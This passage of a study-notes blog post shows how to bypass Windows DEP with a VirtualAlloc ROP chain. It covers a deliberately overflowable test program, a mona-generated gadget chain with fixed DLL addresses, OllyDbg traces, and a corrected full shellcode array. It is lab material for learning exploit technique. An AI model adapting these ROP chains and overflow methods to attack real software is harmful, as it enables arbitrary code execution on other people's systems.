follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x41414141,  \u003Cbr>      0x41414141\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>  char buffer[48];  \u003Cbr>  printf(\"3\\n\");\u003Cbr>  memcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>  printf(\"1\\n\");\u003Cbr>  test();\u003Cbr>  return 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into an exe and open with Immunity Debugger\u003C\u002Fp>\u003Cp>Use the mona plugin to automatically generate a ROP chain, input:\u003C\u002Fp>\u003Cp>!mona rop -m *.dll -cp nonull\u003C\u002Fp>\u003Cp>Check rop_chains.txt, which will list ROP chains that can be used to disable DEP\u003C\u002Fp>\u003Cp>Select the VirtualAlloc function, details as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Register setup for VirtualAlloc() :\u003Cbr>--------------------------------------------\u003Cbr> EAX = NOP (0x90909090)\u003Cbr> ECX = flProtect (0x40)\u003Cbr> EDX = flAllocationType (0x1000)\u003Cbr> EBX = dwSize\u003Cbr> ESP = lpAddress (automatic)\u003Cbr> EBP = ReturnTo (ptr to jmp esp)\u003Cbr>ESI = ptr to VirtualAlloc()\u003Cbr>EDI = ROP NOP (RETN)\u003Cbr>--- alternative chain ---\u003Cbr>EAX = ptr to &amp;VirtualAlloc()\u003Cbr>ECX = flProtect (0x40)\u003Cbr>EDX = flAllocationType (0x1000)\u003Cbr>EBX = dwSize\u003Cbr>ESP = lpAddress (automatic)\u003Cbr>EBP = POP (skip 4 bytes)\u003Cbr>ESI = ptr to JMP [EAX]\u003Cbr>EDI = ROP NOP (RETN)\u003Cbr>+ place ptr to \"jmp esp\" on stack, below PUSHAD\u003Cbr>--------------------------------------------\u003Cbr>\u003Cbr>ROP Chain for VirtualAlloc() [(XP\u002F2003 Server and up)] :\u003Cbr>--------------------------------------------------------\u003Cbr>*** [ C ] ***\u003Cbr>\u003Cbr>  #define CREATE_ROP_CHAIN(name, ...) \\\u003Cbr>    int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \\\u003Cbr>    unsigned int name[name##_length \u002F sizeof(unsigned int)]; \\\u003Cbr>    create_rop_chain(name, ##__VA_ARGS__);\u003Cbr>\u003Cbr>  int create_rop_chain(unsigned int *buf, unsigned int )\u003Cbr>  {\u003Cbr>    \u002F\u002F rop chain generated with mona.py - www.corelan.be\u003Cbr>    unsigned int rop_gadgets[] = {\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>    };\u003Cbr>    if(buf != NULL) {\u003Cbr>      memcpy(buf, rop_gadgets, sizeof(rop_gadgets));\u003Cbr>    };\u003Cbr>    return sizeof(rop_gadgets);\u003Cbr>  }\u003Cbr>\u003Cbr>  \u002F\u002F use the 'rop_chain' variable after this call, it's just an unsigned int[]\u003Cbr>  CREATE_ROP_CHAIN(rop_chain, );\u003Cbr>  \u002F\u002F alternatively just allocate a large enough buffer and get the rop chain, i.e.:\u003Cbr>  \u002F\u002F unsigned int rop_chain[256];\u003Cbr>  \u002F\u002F int rop_chain_length = create_rop_chain(rop_chain, );\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Test 1:\u003C\u002Fh3>\u003Cp>Fill in the above ROP chain, then add the test command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1;\u003Cbr>POP ECX;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding machine code is 0x9059016A\u003C\u002Fp>\u003Cp>The combined POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      \u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u003Cbr>      0x90909090\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>  char buffer[48];  \u003Cbr>  printf(\"3\\n\");\u003Cbr>  memcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>  printf(\"1\\n\");\u003Cbr>  test();\u003Cbr>  char Buf[] = \u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\u003Cbr>  return 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Open with OllyDbg, step through to the entry point of the VirtualAllocEx() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015595210_0_816cb66dad-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure, examine the passed function parameters\u003C\u002Fp>\u003Cp>The starting address of the allocated memory region is 0x0012FF38\u003C\u002Fp>\u003Cp>The size of the allocated memory region is 0x0000D101, converted to decimal is 53505\u003C\u002Fp>\u003Cp>The type of allocated memory is 0x00001000\u003C\u002Fp>\u003Cp>The requested memory access control type is 0x00000040, i.e., PAGE_EXECUTE_READWRITE\u003C\u002Fp>\u003Cp>Press F8 to step through, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015598255_1_afd563ed32-1.jpeg\">\u003C\u002Fp>\u003Cp>The return value EAX is 0, indicating generation failure\u003C\u002Fp>\u003Cp>To find the cause, based on previous experience, it is speculated that the requested memory region is too long\u003C\u002Fp>\u003Ch3>Test 2:\u003C\u002Fh3>\u003Cp>Attempt to modify the memory size\u003C\u002Fp>\u003Cp>The starting address of the requested memory region is 0x0012FF38, with 200 bytes remaining to the end of the current memory page (0x00130000 - 0x0012FF38)\u003C\u002Fp>\u003Cp>It is speculated that the modified memory length must be less than or equal to 200 to meet the condition\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015600815_2_6749c93842-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure above, set the memory length to 200 (0x000000C8)\u003C\u002Fp>\u003Cp>Press F8 to step through, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015604082_3_71ae4bac7b-1.jpeg\">\u003C\u002Fp>\u003Cp>The request is successful, and the function returns the starting address of the allocated memory\u003C\u002Fp>\u003Cp>It is particularly important to note that this is the starting address of the current memory page: 0x0012F000 (not the passed memory starting address 0x0012FF38)\u003C\u002Fp>\u003Ch3>Test 3:\u003C\u002Fh3>\u003Cp>Test again, set length to 201, memory allocation failed\u003C\u002Fp>\u003Cp>Based on the above test results, speculation: VirtualAllocEx() function cannot allocate memory across memory pages\u003C\u002Fp>\u003Ch3>Test 4:\u003C\u002Fh3>\u003Cp>Continue testing, set length to 1, function returns the starting address of the current memory page: 0x0012F000, and shellcode executes successfully\u003C\u002Fp>\u003Cp>Indicates that the passed function length has no effect on memory allocation, but the starting address plus the requested memory must be less than the length of the current memory page\u003C\u002Fp>\u003Cp>That is, during overflow, the memory size allocated through the VirtualAllocEx() function is a fixed value\u003C\u002Fp>\u003Cp>Now, we have manually modified the stack address to bypass DEP. Next, we will find suitable replacement instructions to build our own ROP chain and fix the BUG generated by mona automation\u003C\u002Fp>\u003Cp>PUSHAD pushes all register values onto the stack in the order: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI\u003C\u002Fp>\u003Cp>Trace to PUSHAD, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015606566_4_8efb95917d-1.jpeg\">\u003C\u002Fp>\u003Cp>EBX stores the memory length, need to modify EBX to a value less than 201\u003C\u002Fp>\u003Ch2>0x04 Find replacement instructions, construct ROP chain\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Find suitable replacement instructions in rop.txt\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015608636_5_7fe83b1c17-1.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, search for the keyword EBX and find a suitable alternative instruction:\u003C\u002Fp>\u003Cp>0x771c80a2 :  # XOR EAX,EAX # POP EBX # RETN    ** [kernel32.dll] **   |   {PAGE_EXECUTE_READ}\u003C\u002Fp>\u003Cp>XOR EAX,EAX will clear the value of register EAX\u003C\u002Fp>\u003Cp>POP EBX will take a value from the top of the stack and assign it to EBX\u003C\u002Fp>\u003Cp>Choose an appropriate location and assign a value to EBX, note:\u003C\u002Fp>\u003Cp>This instruction clears the value of register EAX, so a location independent of the EAX register value needs to be found\u003C\u002Fp>\u003Cp>POP EBX will read the content of the next instruction and assign it to EBX, so just follow it with the value for EBX, e.g., 0x00000028, \u002F\u002F Set EBX=0x00000028(40)\u003C\u002Fp>\u003Cp>Find a suitable location to place it before 0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003C\u002Fp>\u003Cp>The complete shellcode is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>\u003Cbr>    0x771c80a2, \u002F\u002F # XOR EAX,EAX # POP EBX # RETN   [kernel32.dll]   |   {PAGE_EXECUTE_READ}\u003Cbr>    0x00000028, \u002F\u002F Set EBX=0x00000028(40)\u003Cbr>\u003Cbr>    0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      \u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Recompile, open with OllyDbg, and single-step to the entry point of the VirtualAllocEx() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015612822_6_353d6b1a05-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure, examine the passed function parameters\u003C\u002Fp>\u003Cp>The memory length has been modified to 0x00000028 (40), while other passed parameters are normal\u003C\u002Fp>\u003Cp>Continue execution, enter CALL ESP, and the shellcode executes successfully\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Similar to bypassing DEP using VirtualProtect, bypassing DEP with VirtualAlloc also requires attention to memory page length limitations. It is not possible to modify or allocate memory across pages, which imposes requirements on the length of the shellcode\u003C\u002Fp>\u003Cp>Of course, normal API calls to implement VirtualProtect and VirtualAlloc do not encounter cross-memory page failure issues.\u003C\u002Fp>\u003Cp>The ROP chain automatically generated by mona can serve as a reference template; by combining alternative instructions from rop.txt, a more suitable ROP chain can be constructed.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",497,"Onedaysec",10,"published","2026-02-02T07:25:19.986Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Bypassing DEP with VirtualAlloc: Windows Shellcode Study Notes","DEP bypass, VirtualAlloc, shellcode, ROP chain, Windows security, buffer overflow, mona plugin, exploit development",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4],974,973,972,{"title":39,"description":39,"image":39},"2026-07-24T15:37:10.478Z","2026-07-23T16:02:21.122Z","draft","2026-07-23T16:15:50.318Z"]